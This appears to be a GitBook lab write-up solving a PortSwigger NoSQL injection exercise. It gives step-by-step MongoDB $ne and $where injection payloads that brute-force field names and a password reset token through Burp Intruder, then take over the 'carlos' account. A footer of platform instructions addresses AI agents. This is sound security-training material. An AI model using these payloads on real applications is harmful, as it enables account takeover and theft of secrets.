> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-nosqli-labs/lab-4.md).

# lab-4

## Exploiting NoSQL Operator Injection to Extract Unknown Fields

**Difficulty:** Practitioner

### Lab Description

The user lookup functionality for this lab is powered by a MongoDB NoSQL database and is vulnerable to NoSQL injection.

**Objective:** Log in as `carlos`. To do so, first exfiltrate the value of the password reset token for that user.

### Solution

**Step 1 — Generate a password reset token for carlos**

Attempt to log in as `carlos` — this returns an "Invalid username or password" error, which is expected. Click **Forgot password** and submit `carlos` to trigger a password reset. This creates a reset token field on the `carlos` document in the database, which is what needs to be extracted.

**Step 2 — Confirm NoSQL injection in the login endpoint**

Capture a login attempt for `carlos` in Burp Suite. The request body looks like:

json

```json
{"username":"carlos","password":"1234"}
```

Inject the `$ne` and `$where` operators:

json

```json
{"username":"carlos","password":{"$ne":""},"$where":"function(){ return 1}"}
```

The response returns an **Account locked** error instead of an invalid credentials error. This confirms:

1. The user `carlos` exists.
2. The `$where` operator is being evaluated — NoSQL injection is confirmed.

**Step 3 — Enumerate document field names**

With `$where` evaluating JavaScript, the field names on the `carlos` document can be extracted using `Object.keys(this)`. Use the following payload to check each character of each field name:

json

```json
{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[§0§].match('^.{§0§}§a§.*')) return 1; else return 0;}"}
```

Set up a **Cluster Bomb** attack in Burp Intruder:

* **Payload set 1 (field index):** Numbers `0` through `4` (checking the first five fields)
* **Payload set 2 (character position):** Numbers `0` through `20`
* **Payload set 3 (character value):** All lowercase letters, uppercase letters, and digits `0–9`

Sort successful responses by length. By iterating through positions, the five field names are revealed:

```
id, username, password, email, forgotPwd
```

> **Note:** The exact name of the reset token field may differ in your instance. `forgotPwd` is used as an example throughout this writeup — substitute the actual field name you discover.

The `forgotPwd` field only appears after a password reset has been triggered (Step 1).

**Step 4 — Determine the token length**

Use the following payload to find the length of the `forgotPwd` field value:

json

```json
{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.forgotPwd.length == §1§) return 1; else return 0;}"}
```

Send to Intruder with a simple list of numbers `0` through `30`. The successful response identifies the length — typically **16 characters**.

**Step 5 — Extract the token value character by character**

Use a similar regex-based payload to extract each character of the token:

json

```json
{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.forgotPwd.match('^.{§0§}§a§.*')) return 1; else return 0;}"}
```

Set up a **Cluster Bomb** attack:

* **Payload set 1 (position):** Numbers `0` through `15` (for a 16-character token)
* **Payload set 2 (character):** All lowercase letters, uppercase letters, and digits `0–9`

Sort results by Payload 1 column and lenght column then filter for successful responses. Reading the matched character at each position gives the complete token.

**Step 6 — Reset carlos's password and log in**

Navigate to the password reset URL with the extracted token:

```
GET /forgot-password?forgotPwd=<EXTRACTED_TOKEN>
```

Set a new password for `carlos`, then log in with those credentials to complete the lab.

### Conclusion

By combining MongoDB's `$ne` operator (to bypass password checks) with `$where`-based JavaScript evaluation, all field names on an arbitrary document can be enumerated and their values extracted character by character — including sensitive fields like password reset tokens that would never be returned in a normal response.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-nosqli-labs/lab-4.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
